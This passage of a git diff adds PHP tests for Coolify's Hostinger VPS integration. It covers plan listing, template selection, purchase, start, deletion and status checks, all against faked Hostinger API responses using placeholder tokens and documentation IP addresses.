'year', '2y'), + $price($plan, 1, 'month', '1m'), + $price($plan, 1, 'year', '1y'), + ]; + + Http::fake(array_merge([ + 'https://developers.hostinger.com/api/vps/v1/data-centers' => Http::response([ + ['id' => 19, 'name' => 'nl-ams', 'city' => 'Amsterdam', 'location' => 'nl'], + ]), + 'https://developers.hostinger.com/api/vps/v1/templates' => Http::response([ + ['id' => 1121, 'name' => 'AlmaLinux 9 with CyberPanel'], + ['id' => 1130, 'name' => 'Ubuntu 24.04 LTS'], + ['id' => 1077, 'name' => 'Debian 13'], + ['id' => 1150, 'name' => 'Ubuntu 24.04 with Coolify'], + ]), + 'https://developers.hostinger.com/api/billing/v1/catalog*' => Http::response([ + ['id' => 'hostingercom-vps-kvm8', 'name' => 'KVM 8', 'metadata' => ['cpus' => 8], 'prices' => $prices('kvm8')], + ['id' => 'hostingercom-vps-kvmminecraftalex', 'name' => 'Game Panel 1', 'metadata' => ['cpus' => 1], 'prices' => $prices('kvmminecraftalex')], + ['id' => 'hostingercom-vps-kvm1', 'name' => 'KVM 1', 'metadata' => ['cpus' => 1], 'prices' => $prices('kvm1')], + ['id' => 'hostingercom-vps-kvm2', 'name' => 'KVM 2', 'metadata' => ['cpus' => 2], 'prices' => $prices('kvm2')], + ]), + 'https://developers.hostinger.com/api/vps/v1/public-keys' => Http::response(['data' => []]), + 'https://developers.hostinger.com/api/vps/v1/post-install-scripts' => Http::response(['data' => []]), + ], $overrides)); +} + +it('lists only Hostinger KVM plans sorted by size and billing period', function () { + fakeHostingerProvisioningOptions(); + + $component = Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) + ->call('loadHostingerData'); + + expect(collect($component->instance()->priceOptions)->pluck('id')->all())->toBe([ + 'hostingercom-vps-kvm1-usd-1m', + 'hostingercom-vps-kvm1-usd-1y', + 'hostingercom-vps-kvm1-usd-2y', + 'hostingercom-vps-kvm2-usd-1m', + 'hostingercom-vps-kvm2-usd-1y', + 'hostingercom-vps-kvm2-usd-2y', + 'hostingercom-vps-kvm8-usd-1m', + 'hostingercom-vps-kvm8-usd-1y', + 'hostingercom-vps-kvm8-usd-2y', + ]); + + $component->assertDontSee('Game Panel'); +}); + +it('splits Hostinger templates into plain operating systems and operating systems with applications', function () { + fakeHostingerProvisioningOptions(); + + $component = Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) + ->call('loadHostingerData') + ->assertSet('selected_os_template_id', 1130) + ->assertSet('selected_app_template_id', null) + ->assertSet('selected_template_id', 1130) + ->assertSee('Operating system with application') + ->assertSee('can conflict with the Coolify proxy on ports 80 and 443', false); + + expect(collect($component->instance()->osTemplates)->pluck('name')->all()) + ->toBe(['Debian 13', 'Ubuntu 24.04 LTS']) + ->and(collect($component->instance()->appTemplates)->pluck('name')->all()) + ->toBe(['AlmaLinux 9 with CyberPanel', 'Ubuntu 24.04 with Coolify']); +}); + +it('keeps only one Hostinger operating system selection', function () { + fakeHostingerProvisioningOptions(); + + Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) + ->call('loadHostingerData') + ->set('selected_app_template_id', 1150) + ->assertSet('selected_os_template_id', null) + ->assertSet('selected_template_id', 1150) + ->set('selected_os_template_id', 1077) + ->assertSet('selected_app_template_id', null) + ->assertSet('selected_template_id', 1077); +}); + +it('purchases a Hostinger VPS with an operating system that includes an application', function () { + fakeHostingerProvisioningOptions([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([ + 'virtual_machine' => ['id' => 17923, 'state' => 'creating', 'ipv4' => [['address' => '203.0.113.10']]], + ]), + ]); + + Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) + ->call('loadHostingerData') + ->set('server_name', 'app-template.example.com') + ->set('selected_data_center_id', 19) + ->set('selected_price_id', 'hostingercom-vps-kvm2-usd-1m') + ->set('selected_app_template_id', 1150) + ->set('private_key_id', $this->privateKey->id) + ->call('submit') + ->assertHasNoErrors(); + + Http::assertSent(fn ($request) => $request->method() === 'POST' + && $request->url() === 'https://developers.hostinger.com/api/vps/v1/virtual-machines' + && $request['setup']['template_id'] === 1150); +}); + +it('rejects a Game Panel Hostinger plan before making a purchase', function () { + fakeHostingerProvisioningOptions(); + + Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) + ->call('loadHostingerData') + ->set('server_name', 'game-panel.example.com') + ->set('selected_data_center_id', 19) + ->set('selected_price_id', 'hostingercom-vps-kvmminecraftalex-usd-1m') + ->set('private_key_id', $this->privateKey->id) + ->call('submit') + ->assertHasErrors('selected_price_id'); + + Http::assertNotSent(fn ($request) => $request->method() === 'POST'); +}); + +it('starts a stopped Hostinger VPS from the server page', function () { + $server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + 'cloud_provider_token_id' => $this->token->id, + 'hostinger_virtual_machine_id' => 17923, + 'hostinger_virtual_machine_status' => 'stopped', + ]); + + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines/17923/start' => Http::response([ + 'id' => 456, + 'state' => 'starting', + ]), + ]); + + Livewire::test(Show::class, ['server_uuid' => $server->uuid]) + ->call('startHostingerVirtualMachine') + ->assertSet('hostingerVirtualMachineStatus', 'starting') + ->assertDispatched('success'); + + expect($server->fresh()->hostinger_virtual_machine_status)->toBe('starting'); +}); + +it('labels the Hostinger status refresh button on the server page', function () { + $server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + 'cloud_provider_token_id' => $this->token->id, + 'hostinger_virtual_machine_id' => 17923, + 'hostinger_virtual_machine_status' => 'running', + ]); + + Livewire::test(Show::class, ['server_uuid' => $server->uuid]) + ->assertSee('Hostinger · Running') + ->assertSee('Refresh status') + ->assertSeeHtml('wire:click.prevent="checkHostingerVirtualMachineStatus(true)"'); +}); + +it('does not validate a stopped Hostinger VPS over SSH', function () { + $server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + 'cloud_provider_token_id' => $this->token->id, + 'hostinger_virtual_machine_id' => 17923, + 'hostinger_virtual_machine_status' => 'stopped', + ]); + + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines/17923' => Http::response([ + 'id' => 17923, + 'state' => 'stopped', + 'ipv4' => [['address' => $server->ip]], + ]), + ]); + + Livewire::test(ValidateAndInstall::class, ['server' => $server]) + ->call('validateConnection') + ->assertSet('error', 'Hostinger VPS is stopped. Power it on before validating.'); +}); + +it('warns that deleting from Coolify does not cancel the Hostinger VPS', function () { + $server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + 'cloud_provider_token_id' => $this->token->id, + 'hostinger_virtual_machine_id' => 17923, + ]); + + Livewire::test(Delete::class, ['server_uuid' => $server->uuid]) + ->assertSee('Hostinger deletes the VPS only at the end of its paid period, and only if you select this in the confirmation dialog.') + ->assertSee('https://hpanel.hostinger.com/', false) + ->assertSeeHtml('Hostinger deletes a VPS only at the end of its paid period.') + ->assertSee('The VPS on Hostinger will NOT be deleted, and Hostinger will keep billing for it.'); +}); + +it('passes the Hostinger deletion choice to the server deletion', function () { + Queue::fake(); + $server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + 'cloud_provider_token_id' => $this->token->id, + 'hostinger_virtual_machine_id' => 17923, + ]); + + Livewire::test(Delete::class, ['server_uuid' => $server->uuid]) + ->assertSee('Also delete VPS from Hostinger (at the end of the paid period)') + ->call('delete', 'password', ['delete_from_hostinger']); + + Queue::assertPushed(JobDecorator::class, fn (JobDecorator $job) => $job->getAction() instanceof DeleteServer + && $job->getParameters()[9] === true + && $job->getParameters()[10] === 17923); +}); + +it('keeps the default deletion warning for servers without a Hostinger VPS', function () { + $server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + ]); + + Livewire::test(Delete::class, ['server_uuid' => $server->uuid]) + ->assertSee('This operation is permanent and cannot be undone.') + ->assertDontSee('Hostinger deletes a VPS'); +}); diff --git a/tests/Feature/ModelFillableCreationTest.php b/tests/Feature/ModelFillableCreationTest.php index 54870d3f8c..a71e1ea041 100644 --- a/tests/Feature/ModelFillableCreationTest.php +++ b/tests/Feature/ModelFillableCreationTest.php @@ -87,6 +87,8 @@ it('creates Server with all fillable attributes', function () { 'hetzner_server_status' => 'running', 'digitalocean_droplet_id' => 987654, 'digitalocean_droplet_status' => 'active', + 'hostinger_virtual_machine_id' => 17923, + 'hostinger_virtual_machine_status' => 'running', 'is_validating' => false, 'detected_traefik_version' => 'v2.10.0', 'traefik_outdated_info' => 'Up to date', @@ -106,6 +108,8 @@ it('creates Server with all fillable attributes', function () { expect($server->hetzner_server_status)->toBe('running'); expect($server->digitalocean_droplet_id)->toBe(987654); expect($server->digitalocean_droplet_status)->toBe('active'); + expect($server->hostinger_virtual_machine_id)->toBe(17923); + expect($server->hostinger_virtual_machine_status)->toBe('running'); expect($server->ip_previous)->toBe('10.0.0.1'); }); diff --git a/tests/Feature/Security/CloudProviderTokenFormTest.php b/tests/Feature/Security/CloudProviderTokenFormTest.php index a3d06fba11..f1e6af5cde 100644 --- a/tests/Feature/Security/CloudProviderTokenFormTest.php +++ b/tests/Feature/Security/CloudProviderTokenFormTest.php @@ -60,7 +60,35 @@ test('security cloud token form lets users choose every supported provider', fun ->assertSee('Provider') ->assertSee('Hetzner') ->assertSee('DigitalOcean') - ->assertSee('Vultr'); + ->assertSee('Vultr') + ->assertSee('Hostinger'); +}); + +test('adding a hostinger token from a modal validates and refreshes hostinger token selectors', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([], 200), + ]); + + $component = Livewire::test(CloudProviderTokenForm::class, [ + 'modal_mode' => true, + 'provider' => 'hostinger', + ]) + ->set('name', 'Production Hostinger') + ->set('token', 'hostinger-token') + ->call('addToken') + ->assertHasNoErrors() + ->assertDispatched('close-modal'); + + $dispatches = collect(data_get($component->effects, 'dispatches', [])); + + expect($dispatches->contains(fn (array $dispatch) => $dispatch['name'] === 'tokenAdded.hostinger' + && data_get($dispatch, 'to') === 'server.new.by-hostinger'))->toBeTrue(); + + $this->assertDatabaseHas('cloud_provider_tokens', [ + 'team_id' => $this->team->id, + 'provider' => 'hostinger', + 'name' => 'Production Hostinger', + ]); }); test('adding a cloud provider token stores an optional description', function () { diff --git a/tests/Feature/Security/CloudProviderTokenShowTest.php b/tests/Feature/Security/CloudProviderTokenShowTest.php index c3a1ce082e..822b242f64 100644 --- a/tests/Feature/Security/CloudProviderTokenShowTest.php +++ b/tests/Feature/Security/CloudProviderTokenShowTest.php @@ -94,6 +94,21 @@ test('cloud token detail page validates the token', function () { ->assertDispatched('success'); }); +test('cloud token detail page validates Hostinger tokens', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([], 200), + ]); + + $token = CloudProviderToken::factory()->create([ + 'team_id' => $this->team->id, + 'provider' => 'hostinger', + ]); + + Livewire::test(Show::class, ['cloud_token_uuid' => $token->uuid]) + ->call('validateToken') + ->assertDispatched('success'); +}); + test('cloud token detail page deletes unused tokens', function () { $token = CloudProviderToken::factory()->create([ 'team_id' => $this->team->id, diff --git a/tests/Feature/ServerCloudProviderStatusCheckJobTest.php b/tests/Feature/ServerCloudProviderStatusCheckJobTest.php index 10e1a8c9d8..ba0ceee459 100644 --- a/tests/Feature/ServerCloudProviderStatusCheckJobTest.php +++ b/tests/Feature/ServerCloudProviderStatusCheckJobTest.php @@ -60,6 +60,36 @@ it('syncs provider state for a placeholder server without scheduling SSH', funct Queue::assertNotPushed(ServerConnectionCheckJob::class); }); +it('schedules Hostinger provider state checks', function () { + $server = createCloudServerForStatusCheckJobTest('hostinger', [ + 'hostinger_virtual_machine_id' => 17923, + 'hostinger_virtual_machine_status' => 'creating', + ]); + + Queue::fake(); + (new ServerManagerJob)->handle(); + Queue::assertPushed(ServerCloudProviderStatusCheckJob::class, fn (ServerCloudProviderStatusCheckJob $job) => $job->server->is($server)); +}); + +it('runs Hostinger provider state checks', function () { + $server = createCloudServerForStatusCheckJobTest('hostinger', [ + 'hostinger_virtual_machine_id' => 17923, + 'hostinger_virtual_machine_status' => 'creating', + ]); + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines/17923' => Http::response([ + 'id' => 17923, + 'state' => 'running', + 'ipv4' => [['address' => '203.0.113.23']], + ]), + ]); + + (new ServerCloudProviderStatusCheckJob($server))->handle(); + + expect($server->fresh()->ip)->toBe('203.0.113.23') + ->and($server->fresh()->hostinger_virtual_machine_status)->toBe('running'); +}); + it('backfills a DigitalOcean placeholder without changing reachability', function () { $server = createCloudServerForStatusCheckJobTest('digitalocean', [ 'digitalocean_droplet_id' => 987, diff --git a/tests/Unit/CloudProviderTokenFormViewTest.php b/tests/Unit/CloudProviderTokenFormViewTest.php index 58e0e60777..f5666a0b39 100644 --- a/tests/Unit/CloudProviderTokenFormViewTest.php +++ b/tests/Unit/CloudProviderTokenFormViewTest.php @@ -1,5 +1,47 @@ toContain('and($view)->toContain("['value' => 'vultr', 'label' => 'Vultr']") + ->and($view)->toContain("['value' => 'digitalocean', 'label' => 'DigitalOcean']") + ->and($view)->toContain("['value' => 'hostinger', 'label' => 'Hostinger']") + ->and(substr_count($view, 'https://console.vultr.com/user/apiaccess/'))->toBe(1) + ->and($view)->not->toContain('cloudProviderTokens->where(\'provider\', $provider)->isEmpty()') + ->and($view)->not->toContain('') + ->and($component)->toContain("'provider' => 'required|string|in:hetzner,digitalocean,vultr,hostinger'"); +}); + +it('keeps provider affiliate links on server provider views', function () { + $tokenFormView = file_get_contents(__DIR__.'/../../resources/views/livewire/security/cloud-provider-token-form.blade.php'); + $hetznerView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/new/by-hetzner.blade.php'); + $vultrView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/new/by-vultr.blade.php'); + $digitalOceanView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/new/by-digital-ocean.blade.php'); + + expect($tokenFormView) + ->not->toContain('https://coolify.io/hetzner') + ->not->toContain('https://coolify.io/vultr') + ->and($hetznerView)->toContain('https://coolify.io/hetzner') + ->and($vultrView)->toContain('https://coolify.io/vultr') + ->and($digitalOceanView)->toContain('https://coolify.io/digitalocean'); +}); + +it('uses the shared modal form on the cloud provider tokens page', function () { + $view = file_get_contents(__DIR__.'/../../resources/views/livewire/security/cloud-provider-tokens.blade.php'); + + expect($view)->toContain('New token') + ->and($view)->toContain('and($view)->toContain('and($view)->toContain("\$savedToken->provider === 'digitalocean' ? 'DigitalOcean' : ucfirst(\$savedToken->provider)") + ->and($view)->not->toContain('

New Token

') + ->and($view)->not->toContain(':modal_mode="false"') + ->and($view)->not->toContain('wire:click="validateToken') + ->and($view)->not->toContain('submitAction="deleteToken') + ->and($view)->not->toContain('Created {{ $savedToken->created_at->diffForHumans() }}'); +}); + it('gates new cloud tokens and keys saved token rows by id', function () { $view = file_get_contents(__DIR__.'/../../resources/views/livewire/security/cloud-provider-tokens.blade.php'); diff --git a/tests/Unit/HostingerDeleteServerTest.php b/tests/Unit/HostingerDeleteServerTest.php new file mode 100644 index 0000000000..ee74c1fefd --- /dev/null +++ b/tests/Unit/HostingerDeleteServerTest.php @@ -0,0 +1,90 @@ +team = Team::factory()->create(); + $this->token = CloudProviderToken::factory()->create([ + 'team_id' => $this->team->id, + 'provider' => 'hostinger', + 'token' => 'test-hostinger-token', + ]); + $privateKey = PrivateKey::factory()->create(['team_id' => $this->team->id]); + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => $privateKey->id, + 'cloud_provider_token_id' => $this->token->id, + 'hostinger_virtual_machine_id' => 17923, + ]); + $this->server->delete(); +}); + +it('deletes the Hostinger VPS by disabling auto-renewal when requested', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines/17923' => Http::response([ + 'id' => 17923, + 'subscription_id' => 'Azz2Y9VWEjUO69lF', + ]), + 'https://developers.hostinger.com/api/billing/v1/subscriptions/Azz2Y9VWEjUO69lF/auto-renewal/disable' => Http::response([ + 'id' => 'Azz2Y9VWEjUO69lF', + 'is_auto_renewed' => false, + ]), + ]); + + DeleteServer::run( + serverId: $this->server->id, + cloudProviderTokenId: $this->token->id, + teamId: $this->team->id, + deleteFromHostinger: true, + hostingerVirtualMachineId: 17923, + ); + + Http::assertSent(fn ($request) => $request->method() === 'DELETE' + && $request->url() === 'https://developers.hostinger.com/api/billing/v1/subscriptions/Azz2Y9VWEjUO69lF/auto-renewal/disable'); + expect(Server::withTrashed()->find($this->server->id))->toBeNull(); +}); + +it('retains the server when the Hostinger VPS cannot be deleted', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines/17923' => Http::response([ + 'id' => 17923, + 'subscription_id' => 'Azz2Y9VWEjUO69lF', + ]), + 'https://developers.hostinger.com/api/billing/v1/subscriptions/Azz2Y9VWEjUO69lF/auto-renewal/disable' => Http::response([ + 'message' => 'Unauthorized', + ], 403), + ]); + + expect(fn () => DeleteServer::run( + serverId: $this->server->id, + cloudProviderTokenId: $this->token->id, + teamId: $this->team->id, + deleteFromHostinger: true, + hostingerVirtualMachineId: 17923, + ))->toThrow(Exception::class, 'Hostinger API error: Unauthorized'); + + expect(Server::withTrashed()->find($this->server->id))->not->toBeNull(); +}); + +it('does not call Hostinger when the VPS should be kept', function () { + DeleteServer::run( + serverId: $this->server->id, + cloudProviderTokenId: $this->token->id, + teamId: $this->team->id, + hostingerVirtualMachineId: 17923, + ); + + Http::assertNothingSent(); + expect(Server::withTrashed()->find($this->server->id))->toBeNull(); +}); diff --git a/tests/Unit/HostingerIconTest.php b/tests/Unit/HostingerIconTest.php new file mode 100644 index 0000000000..bbb84c6fb9 --- /dev/null +++ b/tests/Unit/HostingerIconTest.php @@ -0,0 +1,10 @@ +toContain('viewBox="0 0 26 30"') + ->toContain('M0.000249566 14.046V0.000497794') + ->toContain('Hostinger'); +}); diff --git a/tests/Unit/HostingerServerStateTest.php b/tests/Unit/HostingerServerStateTest.php new file mode 100644 index 0000000000..c4073e2dbb --- /dev/null +++ b/tests/Unit/HostingerServerStateTest.php @@ -0,0 +1,45 @@ +create(); + $token = CloudProviderToken::factory()->create([ + 'team_id' => $team->id, + 'provider' => 'hostinger', + 'token' => 'hostinger-token', + ]); + $privateKey = PrivateKey::factory()->create(['team_id' => $team->id]); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'private_key_id' => $privateKey->id, + 'cloud_provider_token_id' => $token->id, + 'hostinger_virtual_machine_id' => 17923, + 'hostinger_virtual_machine_status' => 'creating', + 'ip' => '0.0.0.0', + ]); + + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines/17923' => Http::response([ + 'id' => 17923, + 'state' => 'running', + 'ipv4' => [['address' => '203.0.113.10']], + ]), + ]); + + expect($server->refreshHostingerState())->toBe('running') + ->and($server->fresh()->hostinger_virtual_machine_status)->toBe('running') + ->and($server->fresh()->ip)->toBe('203.0.113.10'); +}); diff --git a/tests/Unit/HostingerServiceTest.php b/tests/Unit/HostingerServiceTest.php new file mode 100644 index 0000000000..15cb16a422 --- /dev/null +++ b/tests/Unit/HostingerServiceTest.php @@ -0,0 +1,339 @@ + Http::response([ + ['id' => 19, 'name' => 'nl-ams', 'city' => 'Amsterdam', 'location' => 'nl'], + ]), + 'https://developers.hostinger.com/api/vps/v1/templates' => Http::response([ + ['id' => 1130, 'name' => 'Ubuntu 24.04 LTS'], + ]), + 'https://developers.hostinger.com/api/billing/v1/catalog?category=VPS' => Http::response([ + [ + 'id' => 'hostingercom-vps-kvm2', + 'name' => 'KVM 2', + 'category' => 'VPS', + 'prices' => [ + [ + 'id' => 'hostingercom-vps-kvm2-usd-1m', + 'currency' => 'USD', + 'price' => 1799, + 'first_period_price' => 899, + 'period' => 1, + 'period_unit' => 'month', + ], + ], + ], + ]), + ]); + + $service = new HostingerService('test-token'); + + expect($service->getDataCenters()[0]['city'])->toBe('Amsterdam') + ->and($service->getTemplates()[0]['name'])->toBe('Ubuntu 24.04 LTS') + ->and($service->getCatalogItems()[0]['prices'][0]['price'])->toBe(1799); +}); + +it('returns only KVM plans from the Hostinger VPS catalog', function () { + Http::fake([ + 'https://developers.hostinger.com/api/billing/v1/catalog?category=VPS' => Http::response([ + ['id' => 'hostingercom-vps-kvm1', 'name' => 'KVM 1', 'prices' => []], + ['id' => 'hostingercom-vps-kvmminecraftalex', 'name' => 'Game Panel 1', 'prices' => []], + ['id' => 'hostingercom-vps-kvm8', 'name' => 'KVM 8', 'prices' => []], + ['id' => 'hostingercom-vps-kvmminecraftwolf', 'name' => 'Game Panel 8', 'prices' => []], + ['name' => 'Missing id', 'prices' => []], + ]), + ]); + + expect(collect((new HostingerService('test-token'))->getCatalogItems())->pluck('id')->all()) + ->toBe(['hostingercom-vps-kvm1', 'hostingercom-vps-kvm8']); +}); + +it('fetches and attaches Hostinger account SSH keys', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/public-keys' => Http::response([ + 'data' => [['id' => 42, 'name' => 'Operations', 'key' => 'ssh-ed25519 AAAA']], + ]), + 'https://developers.hostinger.com/api/vps/v1/public-keys/attach/17923' => Http::response([ + 'id' => 456, + 'state' => 'running', + ]), + ]); + + $service = new HostingerService('test-token'); + + expect($service->getPublicKeys()[0]['id'])->toBe(42) + ->and($service->attachPublicKeys(17923, ['42'])['id'])->toBe(456); + + Http::assertSent(fn ($request) => $request->url() === 'https://developers.hostinger.com/api/vps/v1/public-keys/attach/17923' + && $request['ids'] === [42]); +}); + +it('fetches Hostinger post-install scripts', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/post-install-scripts' => Http::response([ + 'data' => [['id' => 73, 'name' => 'Bootstrap Coolify']], + ]), + ]); + + expect((new HostingerService('test-token'))->getPostInstallScripts()[0]['id'])->toBe(73); +}); + +it('purchases a Hostinger virtual machine with its setup options', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([ + 'order' => ['id' => 2957086, 'status' => 'completed'], + 'virtual_machine' => [ + 'id' => 17923, + 'hostname' => 'coolify-test.example.com', + 'state' => 'creating', + 'ipv4' => [['address' => '203.0.113.10']], + ], + ]), + ]); + + $virtualMachine = (new HostingerService('test-token'))->purchaseVirtualMachine([ + 'item_id' => 'hostingercom-vps-kvm2-usd-1m', + 'setup' => [ + 'data_center_id' => 19, + 'template_id' => 1130, + 'hostname' => 'coolify-test.example.com', + 'enable_backups' => true, + 'public_key' => [ + 'name' => 'Coolify', + 'key' => 'ssh-ed25519 AAAA test@example.com', + ], + ], + ]); + + expect($virtualMachine['id'])->toBe(17923); + + Http::assertSent(fn ($request) => $request->method() === 'POST' + && $request->url() === 'https://developers.hostinger.com/api/vps/v1/virtual-machines' + && $request->hasHeader('Authorization', 'Bearer test-token') + && $request['item_id'] === 'hostingercom-vps-kvm2-usd-1m' + && $request['setup']['data_center_id'] === 19 + && $request['setup']['template_id'] === 1130 + && $request['setup']['enable_backups'] === true + && $request['setup']['public_key']['key'] === 'ssh-ed25519 AAAA test@example.com'); +}); + +it('only sends a fully qualified hostname to Hostinger', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([ + 'virtual_machine' => ['id' => 17923, 'state' => 'creating'], + ]), + ]); + + $service = new HostingerService('test-token'); + $service->purchaseVirtualMachine([ + 'item_id' => 'hostingercom-vps-kvm1-usd-1m', + 'setup' => ['data_center_id' => 19, 'template_id' => 1130, 'hostname' => 'coolify-server'], + ]); + $service->purchaseVirtualMachine([ + 'item_id' => 'hostingercom-vps-kvm1-usd-1m', + 'setup' => ['data_center_id' => 19, 'template_id' => 1130, 'hostname' => 'coolify.example.com'], + ]); + + $sentHostnames = Http::recorded()->filter(fn ($record) => $record[0]->method() === 'POST')->values()->map(fn ($record) => $record[0]['setup']['hostname'] ?? null)->all(); + + expect($sentHostnames)->toBe([null, 'coolify.example.com']); +}); + +it('does not retry a failed Hostinger purchase', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => fn ($request) => $request->method() === 'GET' + ? Http::response([]) + : Http::response(['message' => 'Server error'], 500), + ]); + + expect(fn () => (new HostingerService('test-token'))->purchaseVirtualMachine([ + 'item_id' => 'hostingercom-vps-kvm2-usd-1m', + 'setup' => ['data_center_id' => 19, 'template_id' => 1130], + ]))->toThrow(Exception::class, 'Hostinger API error: Server error'); + + Http::assertSentCount(3); + expect(Http::recorded()->filter(fn ($record) => $record[0]->method() === 'POST'))->toHaveCount(1); +}); + +it('sets up a charged Hostinger VPS when the purchase returns an error', function () { + $listRequests = 0; + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines/2008976/setup' => Http::response([ + 'id' => 2008976, + 'state' => 'creating', + 'ipv4' => [['address' => '72.61.180.163']], + ]), + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => function ($request) use (&$listRequests) { + if ($request->method() === 'POST') { + return Http::response(['message' => '[VPS:2004] Wrong hostname FQDN format'], 422); + } + + return Http::response($listRequests++ === 0 + ? [['id' => 100, 'state' => 'running']] + : [['id' => 100, 'state' => 'running'], ['id' => 2008976, 'state' => 'initial']]); + }, + ]); + + $virtualMachine = (new HostingerService('test-token'))->purchaseVirtualMachine([ + 'item_id' => 'hostingercom-vps-kvm1-usd-1m', + 'setup' => ['data_center_id' => 19, 'template_id' => 1077, 'enable_backups' => false], + ]); + + expect($virtualMachine['id'])->toBe(2008976) + ->and($virtualMachine['state'])->toBe('creating'); + + Http::assertSent(fn ($request) => $request->url() === 'https://developers.hostinger.com/api/vps/v1/virtual-machines/2008976/setup' + && $request['data_center_id'] === 19 + && $request['template_id'] === 1077 + && $request['enable_backups'] === false); +}); + +it('returns a charged Hostinger VPS that still needs setup when the setup retry fails', function () { + $listRequests = 0; + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines/2008976/setup' => Http::response(['message' => 'Setup failed'], 422), + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => function ($request) use (&$listRequests) { + if ($request->method() === 'POST') { + return Http::response(['message' => 'Setup failed'], 422); + } + + return Http::response($listRequests++ === 0 ? [] : [['id' => 2008976, 'state' => 'initial']]); + }, + ]); + + $virtualMachine = (new HostingerService('test-token'))->purchaseVirtualMachine([ + 'item_id' => 'hostingercom-vps-kvm1-usd-1m', + 'setup' => ['data_center_id' => 19, 'template_id' => 1077], + ]); + + expect($virtualMachine)->toBe(['id' => 2008976, 'state' => 'initial']); +}); + +it('reports a Hostinger purchase whose payment is still processing', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([ + 'id' => 2957086, + 'subscription_id' => 'Azz353Uhl1xC54pR0', + 'status' => 'payment_initiated', + 'message' => 'Payment is being processed.', + ], 202), + ]); + Log::shouldReceive('warning')->once()->with('Hostinger VPS order did not return a virtual machine', [ + 'id' => 2957086, + 'subscription_id' => 'Azz353Uhl1xC54pR0', + 'status' => 'payment_initiated', + 'message' => 'Payment is being processed.', + ]); + + expect(fn () => (new HostingerService('test-token'))->purchaseVirtualMachine([ + 'item_id' => 'hostingercom-vps-kvm2-usd-1m', + 'setup' => ['data_center_id' => 19, 'template_id' => 1130], + ]))->toThrow(Exception::class, 'Hostinger order 2957086 is waiting for payment. Finish the VPS setup in hPanel.'); +}); + +it('extracts a Hostinger public IPv4 address before falling back to IPv6', function () { + $virtualMachine = [ + 'ipv4' => [['address' => '203.0.113.10']], + 'ipv6' => [['address' => '2001:db8::10']], + ]; + + $service = new HostingerService('test-token'); + + expect($service->getPublicIpAddress($virtualMachine))->toBe('203.0.113.10') + ->and($service->getPublicIpAddress(['ipv4' => [], 'ipv6' => $virtualMachine['ipv6']]))->toBe('2001:db8::10'); +}); + +it('waits for Hostinger to assign a public IP', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines/17923' => Http::response([ + 'id' => 17923, + 'state' => 'running', + 'ipv4' => [['address' => '203.0.113.10']], + ]), + ]); + + $service = new HostingerService('test-token'); + $virtualMachine = $service->waitForPublicIp([ + 'id' => 17923, + 'state' => 'creating', + 'ipv4' => [], + ], sleepMilliseconds: 0); + + expect($service->getPublicIpAddress($virtualMachine))->toBe('203.0.113.10'); +}); + +it('stops waiting for a Hostinger public IP after 10 attempts by default', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines/17923' => Http::response([ + 'id' => 17923, + 'state' => 'initial', + 'ipv4' => [], + ]), + ]); + + $service = new HostingerService('test-token'); + $virtualMachine = $service->waitForPublicIp([ + 'id' => 17923, + 'state' => 'initial', + 'ipv4' => [], + ], sleepMilliseconds: 0); + + expect($service->getPublicIpAddress($virtualMachine))->toBeNull(); + Http::assertSentCount(10); +}); + +it('finds a Hostinger virtual machine by public IP', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([ + [ + 'id' => 17923, + 'ipv4' => [['address' => '203.0.113.10']], + 'ipv6' => [['address' => '2001:db8::10']], + ], + ]), + ]); + + $service = new HostingerService('test-token'); + + expect($service->findVirtualMachineByIp('203.0.113.10')['id'])->toBe(17923) + ->and($service->findVirtualMachineByIp('2001:db8::10')['id'])->toBe(17923) + ->and($service->findVirtualMachineByIp('198.51.100.1'))->toBeNull(); +}); + +it('starts a Hostinger virtual machine', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines/17923/start' => Http::response([ + 'id' => 456, + 'name' => 'start', + 'state' => 'running', + ]), + 